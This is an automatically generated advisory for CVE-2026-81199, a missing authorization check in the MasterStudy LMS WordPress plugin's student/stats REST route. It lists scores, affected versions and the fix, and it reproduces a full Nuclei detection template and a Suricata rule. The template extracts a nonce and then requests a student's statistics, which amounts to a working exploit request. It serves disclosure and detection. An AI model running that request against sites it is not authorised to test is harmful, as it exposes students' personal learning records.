CVE-2026-81199: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure via student/stats REST Route
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check before returning a student’s learning statistics, allowing unauthenticated attackers to disclose the course counts, points, certificates, quiz and assignment totals of any registered user.
Description quoted from the CVE record (assigned by WPScan, published 2026-09-02).
Weakness: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.
Public exploit evidence (Exploit Observer)
Also known as: EUVD-2026-69852, GHSA-gg9m-75r5-j67w, WPSCAN-8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5
VEDAS cluster: VEDAS:FRETFLAMINGO
Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (6)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-81199.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-81199.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-81199.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-81199.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-81199.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-81199.rules
Vulnerability databases and vendor advisories (3)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-69852
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-gg9m-75r5-j67w
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-81199
1 more reference returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.005
low predicted chance of attack - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Unknown MasterStudy LMS WordPress Plugin | before 3.7.46 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 3.7.46.
How to detect it
Nuclei template (active check)
MasterStudy LMS WordPress Plugin WordPress - Information Disclosure
The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check before returning a student’s learning statistics, allowing unauthenticated attackers to disclose the course counts, points, certificates, quiz and assignment totals of any registered user.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /, GET /?rest_route=/masterstudy-lms/v2/student/stats/1); it decides using dsl, regex matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-81199.yamlShow the template (65 lines)
id: CVE-2026-81199
info:
name: "MasterStudy LMS WordPress Plugin WordPress - Information Disclosure"
author: vedas-arpsyndicate
severity: medium
description: |
The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check
before returning a student's learning statistics, allowing unauthenticated attackers to disclose the course
counts, points, certificates, quiz and assignment totals of any registered user.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact
- https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-81199
cwe-id: CWE-200
metadata:
verified: false
tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "masterstudy-lms")'
- 'len(nonce) > 0'
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})'
- '"nonce"\s*:\s*"([a-f0-9]{10})"'
- raw:
- |
GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")'
- '!contains_any(body, "forbidden", "rest_nonce_missed")'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-81199 MasterStudy LMS WordPress Plugin WordPress - Information Disclosure. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-81199 MasterStudy LMS WordPress Plugin WordPress - Information Disclosure"; flow:established,to_client; file.data; content:"rest_nonce"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-81199; reference:url,https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011638; rev:1;)
CVE-2026-81199.rules on GitHub
References
Exploits and technical analysis
- https://wpscan.com/vulnerability/8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5/ (exploit, vdb-entry, technical-description)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.